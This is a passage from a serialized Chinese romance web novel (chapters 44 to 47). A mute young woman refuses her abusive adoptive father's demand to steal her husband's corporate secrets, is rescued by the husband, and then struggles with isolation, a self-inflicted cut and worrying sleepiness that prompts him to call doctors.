车内暖气氤氲,诸愿终于敢点开微信,指尖悬在屏幕上方,带着连自己都未察觉的颤抖。 国内外十六个时差,此刻M国该是晚上七点,顾识弈应该看到了她留下的那封信,也该知道了她从头到尾都在欺骗他。 他此刻是不是怒不可遏? 会不会在屏幕那头骂她不知好歹? 脑海里突然回响起诸世青曾跟他说过的话——“现在顾总有多宠你,以后就会有多恨你”。 任谁被这样算计,都不可能不恨的吧。何况是身居高位、向来掌控一切的顾识弈。 微信界面加载完成,置顶的那个黑色头像右上角却干干净净,竟是一条新消息都没有。 点进聊天框,最新的记录还停留在她们飞往M国的那晚,顾识弈让她发文件编号,她拍了张照片传过去,此后便没其他了。 诸愿咬住下唇,舌尖尝到一丝咸涩的血腥味。 她不会觉得这是顾识弈不生气,反倒认定是他失望透顶,连指责的力气都不愿意再给了。 说到底,都是她活该,只是希望他可以不迁怒哥哥…… 恰在此时,出租车停在了餐厅门口,诸愿扫码下车,正午的阳光刺得人睁不开眼。 她深吸一口气,又缓缓呼出,胸腔里翻涌的情绪渐渐平复。 来之前她就做好了迎接狂风暴雨的准备,此刻心里没有太多恐惧,反倒有种“该来的终于来了”的释然。 厚重的木门被侍者推开,暖黄的灯光倾泻而出。 诸世青就坐在上次那个正中的位置,看见她进来,脸上竟没有半分厉色,反倒堆起热络的笑,抬手招呼:“坐。” 诸愿喉头发紧,一步步走过去,在他对面落座。 诸世青一副势在必得的摸样,慢条斯理地给她倒了杯茶,蒸汽袅袅。 “辛苦了,先喝口茶暖暖。” 诸愿没动,指尖死死抠着手机壳。 诸世青像是看穿了她的心思,了然一笑:“你瞧我这记性,放心,只要你把东西给我,复学手续我立马给你办妥当。”话落,他身体微微前倾,眼神锐利起来:“东西呢?” 诸愿缓缓抬头,迎上他的目光,轻轻摇了摇头。 诸世青脸上的笑容瞬间僵住,愣了几秒才反应过来,眉头猛地拧紧,沉声道:“什么意思?” 诸愿深吸一口气,压下心底的慌乱,再次坚定地摇了摇头。 没有。 她从来就没拍过那份核心机密文件的照片。 顾识弈对她那么好,这半年来,她闯了无数祸,他始终包容,她急需用钱给哥哥做手术,他也主动帮忙借她钱,她迷茫无助时,也是他默默站在身后,给她支撑。 她不能,也不忍背叛这样的他。 更不想一错再错。 “你说没有?”诸世青猛地拍案而起,声音徒然拔高,震得桌上的茶杯都晃了晃,“你不是答应我今天给我的吗?现在跟我说没有!” 诸愿垂下眼睑,指尖在空中小幅度比划着:〈我只答应赴约,没说会给你东西。〉 诸世青像是被这句话彻底激怒,蛮不讲理地吼道:“你现在就去正远!抢也得给老子抢回来!” 诸愿抬起头,眼里闪过一丝从未有过的倔强。 她抬起手,手语比划得又快又坚定:〈我不会偷的,你死心吧!〉 “你说什么?”诸世青勃然大怒,一个箭步冲过来,狠狠掐住了她的脖子,“小东西,竟敢这么对我说话!当初我就不该心软收养你!你个没人要的哑巴!” 诸愿反抗的手瞬间僵住,整个人如遭雷击。 上次那个模糊的梦突然清晰起来,甚至想起了更多画面——孤儿院斑驳的墙壁、熊熊燃烧的烈火、被烟雾呛住的喉咙、医生摇头说“以后再也不能说话了”的声音,还有寒风中,她缩在街角,被比自己大一点的男孩牵着手回家,后来,男孩苦苦哀求着眼前的男人收留她。 原来那些都不是梦,是被她遗忘的过往。 她也真的不是诸世青的亲生女儿,只是一个孤儿,是被诸家勉强收留的外人。 诸世青看着她惊愕的表情,脸上露出病态的满足,手上的力道越来越大:“没错,你就是个没人要的孤儿!要不是诸贺当年把你带回来,你现在还在捡垃圾吃呢!为了你,诸贺跟我反目成仇,让我们父子离心,现在养你这么大,让你帮我办点事都办不好,没用的东西!” “你不肯偷机密是以为顾识弈会喜欢你一个哑巴吗?蠢货!连你亲生父母都不要你,还指望一个男人喜欢你?诸贺怎么会把你养得那么天真!” 诸愿的脸色由涨红渐渐变得青灰,呼吸越来越困难,意识开始模糊。 就在她以为自己快要窒息时,包厢门“砰”的一声被踹开! 诸世青刚转头,就被一道凌厉的身影一脚踹倒在地,发出一声痛苦的哀嚎。 诸愿失去了桎梏,身体软软地往下倒,却没落到冰冷的地面,而是跌进了一个温暖而坚实的怀抱。 熟悉的松木香气萦绕鼻尖,她猛地咳漱几声,缓过一口气,抬头望去。 诸愿瞳孔骤缩,整个人瞬间僵住。 抱着她的,竟然是顾识弈! 他不是在M国吗?怎么会在这里? 难道她一离开就被发 现了? 那,那封信他看了吗? 他现在是来兴师问罪的吗? 无数个疑问涌上心头,更让她心惊的是,她在信里只提了诸世青逼迫她,却没说具体地点,顾识弈怎么能这么快找到这里? 一个可怕的念头闪过脑海:或许顾识弈早就知道了她和诸世青的交易,只是一直装不知情,冷眼旁观她的可笑表演。 甚至那份“顾氏核心技术”文件,都是他故意让她看见的。 如果当初她没有选择出国,而是真的拿着机密去找诸世青,等待她的,会是什么? 会不会今天她先看到的,就不是诸世青的狰狞,而是他的冷漠? 明明室内暖气充足,诸愿却觉得浑身冰冷,像坠入了冰窖。 被后面进来的两名保镖架起来的诸世青还在挣扎,嘶吼着:“顾总,这其中是不是有什么误会?我可是你的老丈人!怎么能叫人来抓我!快叫他们放开我!” “诸愿,我可是你父亲!难道你想让我坐牢吗?快叫顾总让人放开我!” 诸愿心想,诸世青真是脸皮厚到了极点,他胁迫自己偷盗顾氏商业机密的时候,怎么没想过他是“老丈人”? 顾识弈却像是没听见诸世青的叫嚣,只是淡淡挥手,示意保镖将人带走。 包厢里瞬间安静下来,只剩下她和顾识弈的呼吸声,清晰得能听见彼此的心跳。 诸愿仰头望着顾识弈,等待着预想中的惩罚。 是斥责、冷漠,还是……厌恶? 可顾识弈的眼底里没有半分怒意,只有浓得化不开的疼惜。 他伸出手,指尖轻轻拂过她脖颈上的红痕,动作轻柔得像是在触碰易碎的瓷娃娃,声音低沉而温柔:“疼吗?” 诸愿下意识地摇了摇头,后应过来又愣住:她为什么会问她疼不疼?他不是来算账的吗? “你想问什么?”顾识弈似乎看穿了她的疑惑,指尖轻轻摩挲着她的脸颊,带着微凉的温度。 诸愿习惯了他的触碰,没有察觉异样,掏出手机,指尖飞快地打下一行字:【你早就知道了是不是?】 “对。”顾识弈点头,坦然承认,没有半分掩饰。 【什么时候?】 “第一次送你来这里的时候。” 诸愿呼吸猛地一滞,心脏像是被一只无形的手紧紧攥住,疼得她几乎喘不过气。 原来他真的知道。 那这半个月来,她所有的挣扎、愧疚和不安,在他眼里都只是一场可笑的戏吗? 他是不是一直在心里嘲笑她的不自量力? 【所以你一直在监视我?】打完这句话,诸愿又觉得不妥。 她明明是那个伤害他的人,他就算监视,也无可厚非。 “是。”顾识弈的目光落在她手机屏幕上,语气带着一丝不易察觉的无奈,还有一丝她从未见过的脆弱,“诸愿,我也会有害怕的时候。” 诸愿的眼眶瞬间红了,水汽模糊了视线,指尖在屏幕上敲出:【对不起,我……】 “没关系,我不怪你。”顾识弈打断了她的道歉,俯身靠近她,额头抵着她的额头,温热的呼吸拂过她的脸颊,声音温柔得能滴出水来,“我只是,害怕失去你,所以只能用这种方式,把你留住我能看到的地方。” 诸愿瞬间瞪圆了双眸,怔怔地看着他。 近距离的接触让她能清晰地看到他眼底的深情,那是毫无保留的珍视,是藏不住的担忧。 顾识弈回望她,目光灼热而坚定,一字一句,清晰地落在她心上: “诸愿,我爱你。”—— 作者有话说:昨天忘记说了:我终于写到十五万字啦! 这是我人生中第一本十五万字的小说,嘿嘿,开心[撒花] 今天刚好是十二月第一天,祝所有看见的人,都: 生活开心[哈哈大笑] 学习进步[眼镜] 工作顺利[好的] 一夜暴富[元宝] 有情人终成眷属吧[抱抱]~ 第45章 顾识弈的吻携着清冽的松木气息俯落,诸愿望着他睫羽间垂落的阴影,整个人还陷在怔忪里。 就在唇瓣即将相贴的瞬间,少女突然偏过脸。 男人的动作顿在半空,眼神微不可察地暗了暗。 他缓缓直起身,指尖还残留着她发间的柔软触感,喉结无声滚动了一下。 虽然早在她执意要他签下欠款合同才肯接受帮助时,就该明白她对自己并无半分情意。 可这些日子,她默许他的靠近,甚至偶尔会对他露出羞涩的笑意,让他以为,起码她对自己是有好感的。 直到此刻被直白的拒绝,像一根细针轻轻挑开他的自尊,难堪混着酸涩在心底漫开。 他没有后退,再度倾身,声音比刚才低了几分,带着不易察觉的沙哑和执拗:“为什么?” 他的目光紧紧锁着她的侧脸,眉峰微蹙,没有逼迫的压迫感,也没有恼羞成怒的戾气,只有一种想弄清答案的执着,“你……是真的不喜欢我吗?” 诸愿死死低着头,指尖攥得发白,不敢去看他眼底的情绪。 她以为以顾识弈的身份和骄傲,受了这样的羞辱,定会再也不搭理她。 谁料,下一秒,男人的手臂穿过她的膝弯和后背,将她打横抱起。 诸愿惊得下意识搂住他的脖子,鼻尖撞进他带着冷香的怀抱,才发现他的动作沉稳有力,根本不会让她有丝毫危险。 头顶传来他温和却不容抗拒的声音,“没关系,我们的婚前协议,还有半年期限。” “顾太太,接下来,请你扮演好自己的角色。” 诸愿懵懵懂懂地被他抱上车,看着身旁自说完那句话便沉默不语的男人,心头满是困惑。 他这是要放过她的欺骗吗? 还让她继续履行合约,就不怕她再次伤害他? 还有顾识弈的喜欢……自从他拍下那枚“山茶密珠”胸针送给她,她便隐隐察觉到了。可她一直以为,当他知道自己被欺骗的真相,这份好感便会烟消云散。 毕竟,她的欺骗那样不堪,怎么配得上他的真心? 可现在,她突然不确定了。 私心里,她竟有一丝隐秘的欢喜,可理智又告诉她,这对顾识弈太不公平。 她凭什么这样轻飘飘地被放过? 车子驶回万宜,刚下车,顾识弈的声音便传来:“你脖子上的红痕,静姨看见了或许会问。” 诸愿心中一紧。 她知道他最在乎静姨担心,上次他背部受了那么重的伤,就是怕静姨唠叨,才让她帮忙上药。 如今她又是“戴罪之身”,更不敢让顾识弈身边的人为她担忧了。 她立刻摇头,双手飞速比划着:〈我会躲在房间里不出来,静姨不会看见的。〉 小时候,诸世青嫌弃她是哑巴,怕她见人丢了诸家的脸,便将她的活动范围局限在卧室。久而久之,她练出了躲避他人目光的本领,也格外擅长捕捉落在自己身上的视线。 这也是她能轻易察觉有人跟踪的原因。 比划完又怕顾识弈看不懂手语,她连忙掏出手机打字,【您放心,绝对不会让静姨发现的。】 “嗯。”他淡淡应了一声。 诸愿松了口气,下意识将衣领往上拢了拢,像要践行承诺般,偷偷摸摸地逃回了自己的房间。 她第一时间冲到梳妆台,镜中映出的脖颈让她微微蹙眉。 原本白皙修长的肌肤上,布满了红色的勒痕,边缘还泛着淡淡的青紫,狰狞得有些吓人。 顾识弈的担心并非多余。 她想起之前砸伤顾识弈时买过一支修复凝胶,当时没派上用场,此刻正好能用。 她拉开抽屉翻找,却怎么也找不到那支铝管药膏。 就在她疑惑之际,敲门声突然响起。 诸愿浑身一僵。 她无法说话,不能询问门外是谁,又怕是静姨。 犹豫片刻她还是走过去,轻轻拉开一条细细的门缝。 门外站 着的,竟是顾识弈。 她松了口气,将门拉得更大些,却依然下意识地用手挡着脖子。 这样狰狞的伤痕,静姨看见了会担心,顾识弈看见了,或许也会讨厌吧。 她抬眸,用疑问的眼神望着他,不明白他为何会来。 顾识弈抬了抬手中的小巧药膏,在她愣神的瞬间,已然迈步走进了卧室。 诸愿这才反应过来,轻轻关上房门,缓步走了回去。 上次滑雪时他帮她上药的记忆还在,她立刻明白他的来意。 只是上次需要搭配按摩才麻烦他,这次不过是涂抹药膏,而且伤在脖子上,她对着镜子完全可以完成。 她拿出手机打字:【谢谢,我自己来吧。】 顾识弈看着她,眼底掠过一丝复杂的情绪,语气淡淡地问:“你是怕我对你做什么?” 诸愿猛地摇头。 如果顾识弈真的想对她做什么,早在签订欠款合同的时候就可以了,可他没有。 她相信,他不是那样的人。 谁知她刚摇完头,顾识弈的嘴角便扬起一抹浅淡的笑意,带着几分玩味:“为什么不怕,我可是喜欢你。” “面对心爱的人,没有人想当柳下惠。” 诸愿惊愕地僵在原地,脸颊瞬间涨得通红,耳根泛起热意。 顾识弈看着她窘迫的模样,眼底的笑意更深了些。 他抬了抬下巴:“坐。” 诸愿听话地坐在床沿,感觉男人的气息缓缓靠近。 她下意识闭上了眼睛,长长的睫毛像受惊的蝶翼,不住地颤抖。 惶惶等待了片刻,预想中的触碰并未到来,反而脖颈处传来一阵清凉。 她倏地睁开眼睛,就见顾识弈正低侧着头,手里捏着棉签,蘸着药膏,眼神专注而认真地为她涂抹着脖颈上的伤痕。 诸愿怔住了。 顾识弈始终没有说话,她猜不透他的心思,只能僵着脖子,任由棉签带着微凉的触感,在她肌肤上轻轻辗转。 直到他拧紧药膏盖子,她还保持着刚才的姿势,端正地坐着,眼神茫然无措。 顾识弈看着她这幅模样,语气无奈:“你这样,真的会让我觉得,我可以对你做任何事情。” 诸愿愣了愣,反应过来后连忙站起身,像只受惊的小猫,一眨不眨地看着他。 顾识弈被她这一惊一乍的反应逗笑,眼底却飞快地掠过一丝失落。 原来,她是真的一点也不喜欢他。 他没有再多说什么,拿起药膏,转身离开了房间。 接下来的三天,诸愿发现,顾识弈只在她每晚洗完澡后出现,帮她涂抹药膏,其余时间从未露面。 不知他是如何跟静姨解释的,静姨每次送来餐食,都只是将餐车放在门口,敲门后便离开,从未有过一句疑问。 诸愿的生活仿佛又回到了小时候被囚禁在卧室的日子。 不知道是不是许久没有这样长时间的独处,她竟有些不适应,甚至开始期待顾识弈的出现,等他一走,她就开始害怕房间里无边的空虚。 她开始失眠,作息渐渐昼夜颠倒,即使是醒着,也是对着空气发呆,一个动作能僵持好几个小时,回过神时,浑身都是酸痛。 为了避免这样的情况,她开始在房间里来回踱步,可思绪却像断了线的风筝,越飘越远。 到最后,她竟打开了阳台的门,深秋的风裹挟着寒意吹来,她望着二楼的高度,吓出一身冷汗,赶紧跑回室内,重重关上阳台门。 她还不知道哥哥的近况,还答应了苏沐明年万圣节一起出去玩,还有顾识弈,她还没还清欠他的钱……这个世界,还有很多让她留恋的美好。 这天晚上,诸愿洗完澡,对着镜子惊讶地发现,脖颈上的掐痕在连日涂抹药膏后,已经恢复成从前白皙的模样。 可她心中没有丝毫喜悦,反而升起一股莫名的恐慌。 这意味着,顾识弈再也没有理由来看她了。 她又要独自一人,困在这个房间里,再也见不到其他人了。 —— 顾识弈下班回到万宜,静姨已在玄关等候,语气温和而稳妥地汇报:“顾总,太太这两天似乎格外嗜睡,我按时把餐车推到门口,好几次搁了几个时辰都没见她来取,等我送第二遍,她才会开门拿走。” 她稍作停顿,斟酌着补充道:“我和太太相处素来和睦,您之前叮嘱过太太脖子过敏要静养,我便一直没敢打扰。只是这样总不按时吃饭,怕是要亏了身子,您看能不能允许我把饭菜送进去,也好提醒太太按时用餐?” 顾识弈闻言,眸色微沉。 他想起昨天帮她上药时,诸愿脖颈上的红痕已经淡得几乎看不见了,今晚或许根本不需要再涂抹药膏了。 这也就意味着,他再也没有借口靠近她了。 更何况,林正白天汇报,诸贺昨天已经醒了,醒来后第一句话,就是要见诸愿。 这些都在提醒着他,诸愿要离开他了。 他掩下心中翻涌的情绪,对静姨道:“不用了,她的过敏已经好了,明天就会下楼吃饭。” “好好好,这就好。”静姨松了口气,连忙应下。 顾识弈换了身家居服,拿起药膏,再次走进诸愿的房间。 门没锁,他推门而入,心中想着她明天就要离开的事,并未察觉诸愿眼神里的闪躲。 他看见她坐在床沿,脖颈上果然看不出有丝毫痕迹,但他还是装作若无其事地拿出棉签,蘸上药膏,帮她涂抹。 药膏涂抹不过五分钟便已结束,他拧紧盖子,如同锁上自己的心门,正准备开口告知诸贺醒来的消息,却见诸愿突然伸出一直攥着的手心,另一只手递来手机。 屏幕亮着,上面写着:【今天抹面霜不小心打碎了玻璃罐,捡的时候划破了手掌,可以帮我抹一下吗?】 顾识弈的目光落在她的掌心,心脏骤然一紧。 那道长长的划痕狰狞地横亘在她细皮嫩肉的掌心,因为没有及时处理,已经结了一层杂乱的血痂,边缘还泛着淡淡的红肿,极有可能会留下疤痕。 他喉间滚过一句未说出口的“疼吗”,想问她为何不叫静姨收拾,却骤然想起——诸愿应了他的要求不让静姨看见她。 所以根本不是她不愿叫人,而是她求助的资格,都被他无形中剥夺了。 第46章 “太太这几日洗澡避开伤口,睡觉尽量把手伸出来,别压着了。”医生温和的叮嘱声音伴随着纱布缠绕的沙沙声。 诸愿的注意力全不在医嘱上,单用眼睛去看顾识弈。 男人以为她怕疼,温热的手掌轻轻覆上她的手背,嗓音放得轻柔:“疼了就抓我。” 她依言攥紧了他的手,指节却始终没有用力。 从前少女无法言语,所有情绪都藏在指尖,紧张时蜷起指腹,害怕时掐进掌心,可这一次,掌心只有温软的触感,她连握都没有用力。 他垂眸撞见她的视线,那目光太过专注,带着他读不懂的执拗。 “怎么了?”他轻声问。 诸愿摇摇头,目光却依旧盯着他。 顾识弈心中存疑,却没再追问。他望着她被白纱布裹住的掌心,自责如潮水般漫上来:若不是他私心作祟,将她困在这方寸之地,隔绝她与外界的所有联系,她怎么会受这样的伤? 还有诸贺转醒的消息,此刻说出口,只会让她心急如焚,却又因伤无法奔赴,倒不如暂且瞒下,等她好些再说。 医生离开后,诸愿见顾识弈起身,下意识便要跟着站起来,手腕却被轻轻按住。 顾识弈屈膝蹲在她面前,仰视着她,鼻尖几乎要碰到她的膝盖。 她吓了一跳,澄澈的眼眸里满是茫然。 “脖子上的伤好了,”他的声音带着几分沙哑。诸愿的心猛地提了起来,像被一只无形的手攥紧。 好了,是不是就不会再来看她了?是不是又要把她独自留在房间里,直到那半年之期结束? 可她的手不是又受伤了吗,他能 不能像之前帮她脖子上药一样,每晚来五分钟,不,哪怕一分钟就好。 她不安地挪了挪身子,指尖无意识地蜷缩起来。顾识弈沉浸在自责中,并未察觉她的慌乱,只低声道:“明天可以出卧室了,静姨不会说什么。对不起,之前让你在房间里待着,才让你受了伤。” 诸愿脸上的焦急瞬间凝固,怔怔地看着他。 原来他以为,她的伤是他造成的。 她缓缓低下头,视线落在缠着纱布的手上。 这伤口是她故意打碎玻璃罐划的,为的就是让他能继续每天来看自己。 可现在,竟然让顾识弈误会是他伤害了自己。 诸世青已经无法再胁迫她了,可她还是欺骗了顾识弈,她其实就是这样一个不择手段的坏人吧。 “你哥哥还在国外治疗,医生说他大脑恢复了些意识,不久就会苏醒,别担心。”顾识弈的声音传来。 诸愿猛地抬头,满心的愧疚瞬间被巨大的喜悦代替,她下意识地伸手想去抱他,指尖刚要碰到他的肩头,却又猛地缩了回去,生怕自己的举动逾越了半分。 顾识弈将她的小动作尽收眼底,却装作未曾看见,只淡淡嘱咐:“别离开万宜,除此之外,你可以自由走动。”他顿了顿,像是怕她误会,补充道,“顾氏最近不太平,你是我名义上的妻子,待在这里安全,不是要囚禁你。向梦那边我已经帮你请假了。” 诸愿愣住了,眼眶微微发热。他竟然在向她解释,明明以两人的关系,完全可以不用说这些的。 —— 翌日清晨,诸愿走出卧室,便撞见面带笑意的静姨。 “太太,早上好。”静姨细细端详着她的脖颈,高兴道:“这过敏果然好了,一点痕迹都没留下。” 诸愿这才知晓,他竟用“脖子过敏”这样的理由,为她脖子的红痕找了个合情合理的借口,护着她的体面。 她浅浅点头,唇边漾开一抹笑意。 “就是苦了你,”静姨目光落在她手上,心疼道,“要是让我去收拾,太太的手就不会受伤了。” 诸愿望着掌心的纱布,忽然生出一丝疑惑:他怕静姨担心脖子上的红痕,却不怕她看见这包扎的伤口吗?可这份疑问很快就被压在了心底,想到他还在帮哥哥治疗,她便觉得心满意足。 早餐过后,静姨从外进来,脸上带着雀跃的笑:“院子里的山茶花都开了,正好摘些做山茶花酥。” 待到夕阳西斜,金色的余晖洒满庭院,山茶花在暮色中开得正盛。 殷红的花瓣层层叠叠,沾着落日的光晕,像被镀上了一层金边。 微风拂过,暗香浮动,连空气都染上了几分甜蜜的气息。 诸愿和静姨提着花篮,拿着花艺剪来到庭院。 静姨采摘做酥饼的花瓣,诸愿则剪取带枝的茶花,打算用来插花。 不多时,两人便满载而归,在岛台上忙碌起来。 静姨将花瓣一瓣瓣摘下来,浸泡在清水中细细清洗,诸愿拿出之前插玫瑰的花瓶,比划着花枝长度,开始修剪,却没注意手指。 花艺剪落下时,竟不小心剪到了左手食指尖,鲜血瞬间涌了出来,滴在洁白的台面上,格外刺眼。 “哎呀!”静姨惊呼一声,连忙放下手里的活去拿急救箱。 诸愿看着自己的血液流淌,第一反应不是疼,反而是慌乱:又让静姨担心了,顾识弈知道了会不会生气?会不会又让她一个人待在房间里? 消毒水碰到伤口的瞬间,诸愿疼得呲牙咧嘴,却硬是抿着唇忍住了,不肯露出半分脆弱。 “这掌心的伤刚要好转,指尖又伤了。”静姨一边包扎一边念叨,“改天得去山上拜拜,祈祈福,总这么受伤可不行。” 诸愿望着静姨担忧的神色,心里暖暖的,却又满是害怕。 她甚至想打字跟静姨说,能不能不要告诉顾识弈,可刚摸到口袋里的手机又塞了回去。 这样,她就要再一次欺瞒他了。 顾识弈踏入万宜时,正看见静姨端着托盘要上楼。 “顾总。”静姨停下脚步,恭敬地打招呼。 他的目光落在托盘上的青瓷碟上,里面摆着精致的酥饼,而旁边,赫然放着一版创口贴。 “这是什么?” “山茶花酥,刚做好的。”静姨笑着回答,随即看到创口贴,面露难色,“下午和太太摘花的时候,太太不小心剪到了左手指头,我正打算一起给太太送去。” “严重吗?”顾识弈眉头瞬间蹙起,眼底掠过一丝担忧。 “口子不大但有点深,十指连心呢,看太太疼得快哭了,应该是疼得厉害。” 顾识弈没再多问,伸手接过托盘,转身快步上楼。 敲响卧室门后,过了好一会儿,门才缓缓打开,诸愿站在门后,眼神带着几分心虚。 “手我看看。”他走进房间,放下托盘。 诸愿身体一僵,迟疑片刻,伸出了右手。 顾识弈看着她明显闪躲的眼神,温声道:“静姨说伤在左手,我帮你换个创口贴,顺便看看伤口。” 她的僵硬愈发明显,眼底满是慌乱。 “诸愿?”顾识弈轻声唤她。 她像是没听见,沉浸在自己的情绪里,满脑子都是“他会不会生气”的念头。直到他带着几分焦急的声音响起:“愿愿?” 诸愿猛然回神,瞪圆了眼睛看着他。 “不想让我帮你贴?”他试探着问,语气放得更轻了。 她立刻摇头,像是怕他误会,缓缓伸出了左手,指尖还在微微蜷缩。 顾识弈看着那道细小却深邃的伤口,不由心疼。他动作轻柔地为她上药,指尖带着小心翼翼的珍视,生怕弄疼了她。 屋内清静,时光缓缓。 “喜欢插花?”他忽然问道,打破了房间里的沉默。 诸愿愣了一下,随即点点头。 “我让林正给你请个插花老师,”顾识弈语气平淡得仿佛在说“明天是晴天”,“明天就来。” 诸愿彻底惊讶了,眼睛微微睁大。 她以为他会责备她不小心,让静姨担心,或是直接说“别插花了,免得再受伤”,叫别人插好送来,却独独没想到,他会选择最麻烦的一种方式,叫人来教她。 —— 第二天,一位三十岁左右的女子如约而至。 她穿着简约的素色旗袍,气质温婉,举手投足间透着优雅的韵味,姓唐。 静姨热情地领着她熟悉了前院的山茶花和后院的花房,才将她带到诸愿面前。 几日下来,静姨见诸愿开始按时吃饭,还多了插花这样的爱好,心里也踏实了些。 这天她端着下午茶来到花房,只见唐老师正在专注地插花,诸愿却不见踪影。 “唐老师手艺真好,插的花真好看。”静姨笑着夸赞,目光在花房里扫了一圈,“怎么没看见太太?” 唐老师抬眸笑了笑,道:“太太刚刚睡着了,之前说要亲自去采些新鲜山茶花当花材,现在在前院呢,应该很快回来了。” 静姨心里咯噔一下,诸愿今早回笼觉睡到了十一点才起床,怎么可能下午还会犯困?还是刚刚才醒。 一番旁敲侧击后,静姨才得知,诸愿最近嗜睡得厉害,学插花时大半时间都在睡觉,还总是忘记前一天教过的技巧,甚至上一秒说过的话,下一秒就没了印象。 唐老师起初以为她不认真,后来才发现,但凡她清醒时听进去的内容,都会仔细做笔记,便想着太太学插花大概是陶冶情操,并不求结果,便一直没说。 静姨知道诸愿不是这样的人,心里隐隐不安,当晚便将此事告诉了顾识弈,语气带着担忧:“太太之前住过院,还失过忆,这次会不会……是旧疾复发?” 顾识弈脸色瞬间沉了下来:“让插花老师先不用来了,就说天气冷,让她休息几天。” “好。”静姨应声,心里却依旧放不下。 第二天早上,诸愿得知唐老师暂时不来了,脸上露出几分无措。 静姨按照顾识弈的吩咐,解释道:“十一月了,天越来越冷,唐老师不小心感冒了,先休息几天再过来。” 她只好点点头,心里却有些失落。 她本来还想今天好好插一束花,送给唐老师当谢礼的。 吃过早饭,诸愿还是习惯性地去了花房。 给花植浇完水,她便提 着花篮去采花材,打算按自己的想法,插一束独一无二的花。 顾识弈走进花房时,鼻尖萦绕着浓郁却不刺鼻的花香,透过花朵树叶的疏影,他看见花房中央的沙发上,蜷缩着一抹纤细的身影。 他缓缓走近,阳光透过玻璃穹顶洒在她身上,将她的发丝染成温暖的金棕色,连周身绒毛都看得一清二楚。 诸愿睡得很沉,脸颊透着淡淡的红晕,被周围盛放的鲜花簇拥着,像一幅浸着阳光和花香的水彩画。 纯粹干净,不染半分尘埃。 第47章 顾识弈的脚步放轻,连呼吸都刻意敛着,一步步挪近沙发。 近在咫尺才发现,诸愿的眉头微蹙,像是陷在什么不安稳的梦里。 静姨昨晚的话忽然在耳畔回响,“太太从前虽然也安静,却从没有这样嗜睡过,连记东西都变得迟钝。” 心脏像是被针扎了一下,密密麻麻地疼。 “唔……”一声极轻的哼唧打断了他的思绪。 诸愿的睫毛颤了颤,缓缓睁开了眼。 晨光恰好落入她眼底,澄澈的像琉璃珠,待看清面前的人时,瞳孔猛地一缩,下意识地往后退,后背抵紧沙发靠背上。 “醒了。”顾识弈的声音压得极低,生怕吓着她。指尖轻轻拾起沙发边掉落的一枝山茶花,轻声问,“怎么在这里睡着了?” 诸愿还没完全醒透,脑子发懵,盯着他看了好半响,才慢慢反应过来。 她撑着沙发要起身,却被他温热的手掌按在肩膀上:“坐着就好。” 他把山茶花递到她面前,露水滴溜溜地转,映着她的眉眼:“还需要吗?” 诸愿点点头,指尖带着点怯意,小心翼翼地接过那枝花。 顾识弈的目光随着她的动作落在她露出的指尖创口贴上,小小的白色胶布,像根细刺扎进眼底。 他语气软了几分,藏着不易察觉的愧疚与疼惜:“手还疼吗?要是累,就再睡会儿,我在这儿守着。” 诸愿没发现他的异样,摇摇头,拿出手机,指尖在屏幕上慢慢敲着:【您今天不用上班吗?怎么来这了?】 顾识弈望着她眼底那份小心翼翼的探问,喉结滚了滚,终究没说实话,只柔声道:“今天想放松一下。” 他目光扫过桌上的空花瓶,转移话题:“要不要现在插花?我陪你。” 她猛地抬头,眼里闪过一丝警惕和不解,但最终还是拿起另一把花艺剪递给他,又把睡前采摘的各色花材一一搬到桌上。 顾识弈在她身边坐下,学着她的样子握住花艺剪,指尖却有些笨拙,剪刀开合间,差点剪断整枝花茎。 诸愿忍不住抿了抿唇,唇角勾起一抹极淡的笑意,转瞬又想起自己前些天还剪到了手指,好不到哪里去,又悄悄拉平了唇角。 只是眼底的怯懦,不知不觉淡了些。 看着顾识弈依旧笨手笨脚的,诸愿终于忍不住伸出手,轻轻按住他的手腕,指尖微凉,引导着剪刀的角度。 那点凉意透过皮肤传过来,细腻得像花瓣拂过,顾识弈的身体几不可察地僵了一下,随即放松下来,顺着她的力道调整姿势,留长枝干,斜着剪下。 “这样?”他侧头看她,鼻尖几乎要碰到她的发顶,一缕淡淡的山茶花香钻进鼻腔,清冽又温柔。 却发现诸愿在指导完他之后,便眼神放空,手上的动作也停了,直到顾识弈轻声提醒,才猛然回神看他,又慌忙低下头。 顾识弈的心沉了沉。 他不动声色地拿出手机,给林正发了条信息:【立刻联系脑科和神经科的医生,以私人咨询的名义,今天下午到万宜,不要声张。】 发送成功后,他收起手机,抬头恰好对上诸愿望过来的目光。 她的眼神干净得像一汪清泉,纯粹无杂。 顾识弈喉结滚动,伸手轻轻揉了揉她的头发,动作温柔,带着连自己都未察觉的珍视:“想插什么形状?” 她抬起手指,比划了一个圆,眼里带着期待:〈圆的。〉 “好,听你的。”他笑着应下,目光落在她认真修剪花枝的侧脸上,心里暗暗打定主意:不管她是因为什么变成这样,他都要让她好起来。 两人并肩坐在花房里,晨光漫过玻璃窗,温柔地裹着彼此,花香萦绕鼻尖,偶有清脆的剪枝声响起,安静又温馨。 诸愿也渐渐放松下来,偶尔会伸出手,轻轻纠正顾识弈的动作,后者总是耐心地停下来,目光追随着少女,眼底是藏不住的宠溺。 —— 午后,林正领着两位穿着便装的医生悄无声息地走进偏厅。 顾识弈早已在那里等候,目光落在桌上那瓶上午插好的花上,花瓣舒展,却衬得他眼底的凝重更甚。 “顾总。”为首的程医生递上病历夹,声音压得极低,“冯医生已经把太太之前的情况跟我们交代清楚了,按您的要求,没带任何标识。” 顾识弈的目光从花上移开,落在程医生脸上,颔首道:“她胆子小,就说是来做常规体检的,别提之前的失忆和嗜睡。”他顿了顿,语气里带着不容置疑的郑重,“动作轻一点,别吓着她。” “明白。” 顾识弈转身回到花房时,诸愿又趴在矮桌上睡觉,阳光透过玻璃落在她背上,像盖了层暖融融的金纱。 他放轻脚步走过去,指尖刚碰到她的肩膀,诸愿便猛地惊醒,眼里还带着未散的睡意。 看清是他后,紧绷的身体才渐渐放松下来,抬手比划着手语:〈你去哪了?〉 顾识弈看懂了,伸手轻轻扶她起来,语气尽量说得随意自然:“有两位朋友来做客,带你去见一见?” 他顿了顿,补充道:“他们是医生,正好帮你看看手伤恢复得怎么样,顺便做个简单的体检。” 诸愿的身体瞬间僵住,眼底闪过一丝明显的抗拒。 没有人比她更清楚,这段时间自己的作息有多么紊乱,夜里辗转难眠,白天却昏昏欲睡,偶尔还会记不住事。 她怕,怕检查出什么不好的结果。 “就看一眼,很快就好。”顾识弈察觉到她的不安,伸手握住她的手,掌心的温度透过皮肤传过来,带着让人安心的力量。 “我陪着你,一步都不走。” 她望着他眼底的坚定与温柔,犹豫了会,最后还是轻轻点了点头。 